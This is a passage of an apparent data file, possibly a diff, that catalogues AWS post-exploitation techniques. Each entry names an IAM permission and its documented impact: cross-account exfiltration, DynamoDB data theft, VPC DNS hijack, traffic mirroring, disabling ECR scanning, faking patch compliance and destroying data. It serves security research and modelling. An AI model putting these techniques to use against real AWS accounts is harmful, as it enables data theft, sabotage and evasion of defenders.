— Mint a live chat or WebRTC participant bearer' + reason: 'Documented impact: Join an active customer interaction as a custom chat participant or additional WebRTC + customer, receive live conversation content, send allowed messages/events, or obtain live meeting credentials + without a Connect user/CCP login. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-data-exchange-post-exploitation/README.md#dataexchangecreatedatagrant--dataexchangepublishtodatagrant--share-an-owned-data-set + technique: '`dataexchange:CreateDataGrant` + `dataexchange:PublishToDataGrant` — share an owned data set' + reason: 'Documented impact: Cross-account disclosure of every finalized revision in one already-owned Data Exchange + data set, potentially including future revisions while the grant remains active. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-data-exchange-post-exploitation/README.md#dataexchangecreatejob--dataexchangestartjob--export-file-assets + technique: '`dataexchange:CreateJob` + `dataexchange:StartJob` — export file assets' + reason: 'Documented impact: Copies selected file assets or revisions that the identity is already authorized to + read, either through a one-minute download URL or to an S3 destination it is authorized to write. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-databrew-stored-job-post-exploitation/README.md#databrewstartjobrun--execute-a-stored-data-transfer + technique: '`databrew:StartJobRun` — Execute a stored data transfer' + reason: The section documents the resource or service effect of `databrew:StartJobRun` — Execute a stored data + transfer, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-datasync-delegated-copy-post-exploitation/README.md#expand-an-existing-locations-path-with-datasyncupdatelocations3 + technique: Expand an existing location's path with `datasync:UpdateLocationS3` + reason: 'Documented impact: Exfiltration of additional objects within the location''s bucket that the stored DataSync + role can read, or writes/deletes in a broader destination prefix that the stored role can modify. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-datasync-delegated-copy-post-exploitation/README.md#delegated-copy-with-datasyncstarttaskexecution + technique: Delegated copy with `datasync:StartTaskExecution` + reason: 'Documented impact: Disclosure or replication of data that the caller cannot access at the source, using + the existing DataSync role. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-direct-connect-post-exploitation/README.md#directconnectdescribevirtualinterfaces--describerouterconfiguration--recover-bgp-authentication-material + technique: '`directconnect:DescribeVirtualInterfaces` / `DescribeRouterConfiguration` — recover BGP authentication + material' + reason: 'Documented impact: Recovers a reusable BGP authentication credential and the corresponding peer configuration. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-direct-connect-post-exploitation/README.md#directconnectcreatedirectconnectgatewayassociationproposal--propose-an-attacker-dx-gateway-from-the-victim-account + technique: '`directconnect:CreateDirectConnectGatewayAssociationProposal` — propose an attacker DX gateway from + the victim account' + reason: 'Documented impact: After attacker-side acceptance and routing convergence, establishes a cross-account + hybrid path from attacker-controlled Direct Connect infrastructure toward prefixes behind the victim TGW/VGW. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-direct-connect-post-exploitation/README.md#directconnectassociatemacseckey--updateconnection--weaken-link-layer-encryption + technique: '`directconnect:AssociateMacSecKey` / `UpdateConnection` — weaken link-layer encryption' + reason: 'Documented impact: Allows plaintext fallback or disables required MACsec where supported, reducing link + confidentiality/integrity for an on-path attacker. This section does not establish another AWS principal or + attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md#dlmcreatelifecyclepolicy-iampassrole--recurring-cross-account-ebs-snapshot-sharing + technique: '`dlm:CreateLifecyclePolicy`, `iam:PassRole` — recurring cross-account EBS snapshot sharing' + reason: 'Documented impact: Repeatedly exposes snapshots of every matching EBS volume to an attacker-controlled + AWS account, including new snapshots created after the attacker loses access. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dms-post-exploitation/README.md#s3-target-redirection-with-dmsmodifyendpoint + technique: S3 target redirection with `dms:ModifyEndpoint` + reason: 'Documented impact: Exfiltration of data processed by a known DMS task to an attacker-readable S3 destination, + using the endpoint''s already-authorized service role. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dms-post-exploitation/README.md#dmsstartreplicationtask--execute-a-fixed-migration-through-stored-endpoint-roles + technique: '`dms:StartReplicationTask` — Execute a fixed migration through stored endpoint roles' + reason: 'Documented impact: Move a sensitive source database''s contents to an attacker-observable destination + by starting a preconfigured migration task — no iam:PassRole, no DMS describe permission, and no operator involvement + required. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-drs-mgn-post-exploitation/README.md#drsstartrecovery--drsupdatelaunchconfiguration--boot-a-copy-of-a-production-server + technique: '`drs:StartRecovery` (+ `drs:UpdateLaunchConfiguration`) — boot a copy of a production server' + reason: 'Documented impact: Full read access to the complete disk contents (secrets, credentials, databases) of + any replicated production server, by booting or cloning a disaster-recovery copy — no access to the source server + required. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-drs-mgn-post-exploitation/README.md#mgnstartexport--exfiltrate-the-migration-inventory-to-an-attacker-bucket + technique: '`mgn:StartExport` — exfiltrate the migration inventory to an attacker bucket' + reason: 'Documented impact: Cross-account exfiltration of the full server-migration inventory (a detailed map + of the target''s fleet), and — via test/cutover launches — the same full-disk access to replicated servers as + DRS. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbbatchgetitem + technique: '`dynamodb:BatchGetItem`' + reason: 'Documented impact: Disclosure of application records, credentials, tokens, and PII stored under known + keys. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbgetitem + technique: '`dynamodb:GetItem`' + reason: 'Documented impact: Disclosure of application records, credentials, tokens, and PII stored under a known + key. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbtransactgetitems + technique: '`dynamodb:TransactGetItems`' + reason: 'Documented impact: Disclosure of application records, credentials, tokens, and PII stored under known + keys. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbquery + technique: '`dynamodb:Query`' + reason: 'Documented impact: Disclosure of every matching record for a partition key, including credentials, tokens, + and PII. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbscan + technique: '`dynamodb:Scan`' + reason: 'Documented impact: Full table-data disclosure, including credentials, tokens, and PII. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbpartiqlselect + technique: '`dynamodb:PartiQLSelect`' + reason: The section documents the resource or service effect of `dynamodb:PartiQLSelect`, without a reusable AWS + principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbupdatetable-dynamodbdescribestream-dynamodbgetsharditerator-dynamodbgetrecords + technique: '`dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`' + reason: 'Documented impact: Near-real-time disclosure of new and modified application data, credentials, tokens, + or PII. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#read-items-via-dynamodbupdateitem-and-returnvaluesall_old + technique: Read items via `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD` + reason: 'Documented impact: Read arbitrary items from a table with only write permissions, enabling sensitive + data exfiltration when primary keys are known. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#read-items-via-update-in-dynamodbtransactwriteitems + technique: Read items via `Update` in `dynamodb:TransactWriteItems` + reason: 'Documented impact: Read arbitrary items (by primary key) from a table using only transactional write + privileges via the returned cancellation reasons. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbupdatetable--dynamodbupdateitem--dynamodbquery-on-gsi + technique: '`dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI' + reason: 'Documented impact: Full table exfiltration by querying a newly created GSI that projects all attributes, + even when base table read APIs are denied. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbexporttabletopointintime-and-dynamodbupdatecontinuousbackups-if-pitr-is-disabled + technique: '`dynamodb:ExportTableToPointInTime` (and `dynamodb:UpdateContinuousBackups` if PITR is disabled)' + reason: This heading concerns reading or exporting data via `dynamodb:ExportTableToPointInTime` (and `dynamodb:UpdateContinuousBackups` + if PITR is disabled); it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbrestoretablefrombackup-and-dynamodbcreatebackup-to-create-a-source-backup + technique: '`dynamodb:RestoreTableFromBackup` (and `dynamodb:CreateBackup` to create a source backup)' + reason: The section documents the resource or service effect of `dynamodb:RestoreTableFromBackup` (and `dynamodb:CreateBackup` + to create a source backup), without a reusable AWS principal credential or arbitrary execution under another + role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbupdatetable-replica-updates--dynamodbcreatetablereplica + technique: '`dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`' + reason: 'Documented impact: Full-table replication to an attacker-controlled Region leading to stealthy data exfiltration. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbenablekinesisstreamingdestination-continuous-exfiltration-via-kinesis-data-streams + technique: '`dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)' + reason: 'Documented impact: Continuous, near real-time exfiltration of table changes to an attacker-controlled + Kinesis stream without direct read operations on the table. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbrestoretablefrombackup-dynamodbrestoretabletopointintime-and-dynamodbrestoretablefromawsbackup-for-aws-backup-recovery-points + technique: '`dynamodb:RestoreTableFromBackup`, `dynamodb:RestoreTableToPointInTime` (and `dynamodb:RestoreTableFromAwsBackup` + for AWS Backup recovery points)' + reason: 'Documented impact: Recreate the table''s data — at a chosen past timestamp — under a new name the attacker + controls, reading historical values that may have since been rotated or deleted from production. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbputitem + technique: '`dynamodb:PutItem`' + reason: 'Documented impact: Replacing an entire existing item or inserting a crafted item can corrupt application + state and enable downstream authorization or business-logic abuse. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbupdateitem + technique: '`dynamodb:UpdateItem`' + reason: 'Documented impact: Targeted attribute changes—or creation of a record when the supplied key does not + exist—can alter application behavior without replacing the whole item. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbdeletetable + technique: '`dynamodb:DeleteTable`' + reason: 'Documented impact: Data loss and disruption of services relying on the deleted table. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbdeletebackup + technique: '`dynamodb:DeleteBackup`' + reason: 'Documented impact: Data loss and inability to recover from a backup during a disaster recovery scenario. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#dynamodbupdatetimetolive + technique: '`dynamodb:UpdateTimeToLive`' + reason: 'Documented impact: Set a TTL on an attribute to make DynamoDB silently delete items in bulk — stealthy, + gradual data destruction that looks like normal expiry rather than an attack. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ssmputresourcepolicy--share-a-securestring-parameter-with-another-account + technique: '`ssm:PutResourcePolicy` — share a SecureString parameter with another account' + reason: 'Documented impact: Continuous read access to the parameter''s value — database passwords, API tokens, + private keys — from an account the defender does not control, without the secret ever being read by a principal + inside the victim account. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ssmmodifydocumentpermission--publish-an-ssm-document-to-the-world + technique: '`ssm:ModifyDocumentPermission` — publish an SSM document to the world' + reason: 'Documented impact: Public or cross-account disclosure of the document''s content and of any secret, internal + hostname or deployment detail embedded in it; used in reverse, it breaks automation in every account that depended + on the share. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#malicious-vpc-mirror---ec2describeinstances-ec2runinstances-ec2createsecuritygroup-ec2authorizesecuritygroupingress-ec2createtrafficmirrortarget-ec2createtrafficmirrorsession-ec2createtrafficmirrorfilter-ec2createtrafficmirrorfilterrule + technique: '**Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, + `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirror' + reason: 'Documented impact: Full packet capture of every victim instance''s inbound and outbound traffic — session + tokens, internal API calls, database queries and any plaintext credential on the wire — with nothing installed + on the targets. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2enableaddresstransfer--hand-a-public-ip-to-another-account + technique: '`ec2:EnableAddressTransfer` — hand a public IP to another account' + reason: 'Documented impact: Permanent loss of a public IP address to an attacker-controlled account, plus impersonation + of the victim to everyone who trusts that address — DNS records, partner allowlists and IP reputation all continue + to resolve to it. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2modifysecuritygrouprules--widen-an-existing-rule-in-place + technique: '`ec2:ModifySecurityGroupRules` — widen an existing rule in place' + reason: 'Documented impact: Internet-wide exposure of any port already allowed to a narrow range, applied in a + way that preserves rule identity and count and carries a plausible approval note — bypassing most security-group + drift and review tooling. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2authorizesecuritygroupingress + technique: '`ec2:AuthorizeSecurityGroupIngress`' + reason: 'Documented impact: Direct network exposure of internal services (databases, admin panels, management + ports) to the Internet or to attacker-chosen networks. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2replacenetworkaclentry + technique: '`ec2:ReplaceNetworkAclEntry`' + reason: 'Documented impact: Exposes or severs an entire subnet at once — a far larger blast radius than a security-group + change, affecting every current and future instance in it. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#quick-local--remote-port-forward-aws-startportforwardingsession + technique: Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession) + reason: 'Documented impact: Turns any SSM-managed instance into a pivot, reaching private services — internal + APIs, databases, EKS control planes — that are unreachable from the attacker''s network and protected by security + groups and NACLs. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2modifyvpcendpoint--rewrite-a-restrictive-vpc-endpoint-policy + technique: '`ec2:ModifyVpcEndpoint` — rewrite a restrictive VPC endpoint policy' + reason: 'Documented impact: Restores unrestricted access to the endpoint''s service for the whole VPC, re-enabling + data exfiltration from private subnets that have no other egress; inverted, it is a full denial of service for + every workload that depends... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#allowed-amis--ec2enableallowedimagessettings-ec2replaceimagecriteriainallowedimagessettings + technique: Allowed AMIs — `ec2:EnableAllowedImagesSettings`, `ec2:ReplaceImageCriteriaInAllowedImagesSettings` + reason: 'Documented impact: Removal or neutering of the account''s AMI provenance control, enabling instances + to be launched from attacker-published images — or, inverted, a Region-wide block on all new instance launches. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2disableimageblockpublicaccess--ec2enablesnapshotblockpublicaccess--flip-the-public-sharing-guardrails + technique: '`ec2:DisableImageBlockPublicAccess` | `ec2:EnableSnapshotBlockPublicAccess` — flip the public-sharing + guardrails' + reason: 'Documented impact: Removes the last account-level control preventing AMIs and EBS snapshots — and therefore + whole disk images, including their credentials and data — from being shared with the entire internet; inverted, + it revokes existing... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ssmputcomplianceitems--fabricate-patch-compliance + technique: '`ssm:PutComplianceItems` — fabricate patch compliance' + reason: 'Documented impact: Compliance dashboards, audit evidence and any alerting built on SSM compliance become + untrustworthy — unpatched or compromised hosts are reported as healthy, or responders are flooded with fabricated + critical findings. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2delete + technique: '`ec2:Delete*`' + reason: 'Documented impact: Immediate service disruption and permanent data loss, plus destruction of forensic + evidence — deleted snapshots, AMIs, volumes and flow logs are unrecoverable. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2createroute--ec2replaceroute--silent-traffic-redirection-and-blackholing + technique: '`ec2:CreateRoute` | `ec2:ReplaceRoute` — silent traffic redirection and blackholing' + reason: 'Documented impact: Man-in-the-middle over selected or all egress traffic from a subnet — TLS-terminating + proxy, credential capture, response tampering — or an immediate, silent blackhole of any chosen prefix. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2modifyebsdefaultkmskeyid--own-the-key-that-protects-every-future-volume + technique: '`ec2:ModifyEbsDefaultKmsKeyId` — own the key that protects every future volume' + reason: 'Documented impact: Attacker control of the encryption key for all future EBS volumes and snapshots in + the Region — readable by the attacker, and destroyable at will — or, in the disable direction, silent removal + of encryption-at-rest for... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2locksnapshot--make-backups-undeletable-ebs-ransomware + technique: '`ec2:LockSnapshot` — make backups undeletable (EBS ransomware)' + reason: 'Documented impact: Permanent, unrecoverable denial of deletion on EBS snapshots — unbounded forced storage + cost and an anti-cleanup foothold that survives full remediation of the account. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2createdhcpoptions-ec2associatedhcpoptions--vpc-wide-dns-hijack + technique: '`ec2:CreateDhcpOptions`, `ec2:AssociateDhcpOptions` — VPC-wide DNS hijack' + reason: 'Documented impact: Attacker-controlled name resolution for every instance in the VPC — credential interception + via spoofed internal endpoints, malicious package/update sources, and an easy full-VPC outage — obtained without + touching a single... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md#aws--covert-disk-exfiltration-via-ami-store-to-s3-createstoreimagetask + technique: AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask) + reason: 'Documented impact: Full offline acquisition of the EBS snapshot data represented by the AMI (credentials, + configuration, and filesystem contents) as one downloadable S3 object, without changing snapshot sharing settings. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md#overwrite-a-trusted-tag-via-ecrputimage-tag-hijacking--supply-chain + technique: Overwrite a Trusted Tag via `ecr:PutImage` (Tag Hijacking / Supply Chain) + reason: 'Documented impact: Code execution in every consumer that pulls the tag — ECS services, EKS pods, Lambda + container functions, App Runner and CodeBuild — each running with whatever role that workload carries, with + no change to any deployment manifest. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md#subvert-managed-image-signing-via-ecrputsigningconfiguration--ecrdeletesigningconfiguration + technique: Subvert managed image signing via `ecr:PutSigningConfiguration` / `ecr:DeleteSigningConfiguration` + reason: 'Documented impact: Registry-wide subversion of image-signing integrity — target repositories stop being + signed, or are signed by an attacker-controlled key — enabling malicious images to pass (or bypass) signature-based + admission when downstream... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md#registrywide-scanning-engine-downgrade-via-ecrputaccountsetting-obsolete + technique: Registry‑wide scanning engine downgrade via `ecr:PutAccountSetting` (obsolete) + reason: 'Documented impact: Historically a registry-wide downgrade of the scanning engine; retained here because + the permission still appears in older policies and the event name is still worth recognising in trails. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md#registry-level-stealth-disable-or-downgrade-scanning-via-ecrputregistryscanningconfiguration + technique: 'Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration`' + reason: 'Documented impact: Registry-wide loss of vulnerability detection: malicious or vulnerable images stop + being flagged on push, and because ECR only reports findings for scans that actually ran, the console shows + no findings rather than an error —... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md#ecrputlifecyclepolicy--ecrdeleterepository--ecr-publicdeleterepository--ecrbatchdeleteimage--ecr-publicbatchdeleteimage + technique: '`ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` + | `ecr-public:BatchDeleteImage`' + reason: 'Documented impact: Destruction of the images the environment deploys from: every running workload survives + until its next pull, then fails to start. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-data-access-post-exploitation/README.md#ecsdescribetaskdefinition--read-container-environment-and-secret-references + technique: '`ecs:DescribeTaskDefinition` — Read container environment and secret references' + reason: 'Documented impact: Disclosure of container configuration, plaintext environment values, internal endpoints, + role ARNs, private image locations, and secret identifiers. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-data-access-post-exploitation/README.md#ecsdescribetasks--task-override-disclosure + technique: '`ecs:DescribeTasks` — task-override disclosure' + reason: This heading concerns reading or exporting data via `ecs:DescribeTasks` — task-override disclosure; it + does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md#steal-task-role-credentials-through-ecsexecutecommand + technique: Steal task-role credentials through `ecs:ExecuteCommand` + reason: The ecs:ExecuteCommand role-credential path is modeled by aws-ecs-executecommand; this section gives post-exploitation + details of the same task-role target. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md#disable-container-insights-with-putaccountsettingdefault-or-updateclustersettings + technique: Disable Container Insights with `PutAccountSettingDefault` or `UpdateClusterSettings` + reason: 'Documented impact: Loss of Container Insights performance log ingestion, dashboards, and the additional + metrics/alarms that depend on it for the targeted existing cluster or affected future clusters. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md#elasticfilesystemcreatereplicationconfiguration--replicate-into-a-prepared-cross-account-file-system + technique: '`elasticfilesystem:CreateReplicationConfiguration` — replicate into a prepared cross-account file + system' + reason: 'Documented impact: A continuing cross-account copy of source data and metadata to an attacker-readable + destination, bounded by replication progress and the last successful sync. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md#elasticfilesystemdeleteaccesspoint + technique: '`elasticfilesystem:DeleteAccessPoint`' + reason: 'Documented impact: Prevents future mounts and reconnections through the access point. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md#elasticfilesystemdeletemounttarget + technique: '`elasticfilesystem:DeleteMountTarget`' + reason: 'Documented impact: Availability loss for applications using that target and possible loss of uncommitted + writes. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md#elasticfilesystemdeletefilesystem + technique: '`elasticfilesystem:DeleteFileSystem`' + reason: 'Documented impact: Destructive loss of the live file system and outage of dependent applications. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md#elasticfilesystemupdatefilesystem + technique: '`elasticfilesystem:UpdateFileSystem`' + reason: 'Documented impact: Workload throttling or higher EFS charges. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md#eks-authassumeroleforpodidentity-with-a-stolen-pod-bound-token + technique: '`eks-auth:AssumeRoleForPodIdentity` with a stolen Pod-bound token' + reason: The caller must already possess a valid Pod-bound token. The permission alone cannot mint that token; + the resulting role is the one already assigned to that pod, so this is credential theft from a compromised workload. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md#elasticbeanstalkswapenvironmentcnames + technique: '`elasticbeanstalk:SwapEnvironmentCNAMEs`' + reason: 'Documented impact: Traffic can be redirected to an unintended environment or version, causing incorrect + application behavior or availability issues. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md#elasticbeanstalkaddtags-elasticbeanstalkremovetags + technique: '`elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`' + reason: 'Documented impact: Tag-based automation, inventory, cost allocation, or access controls can receive incorrect + data after tags are added, changed, or removed. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: 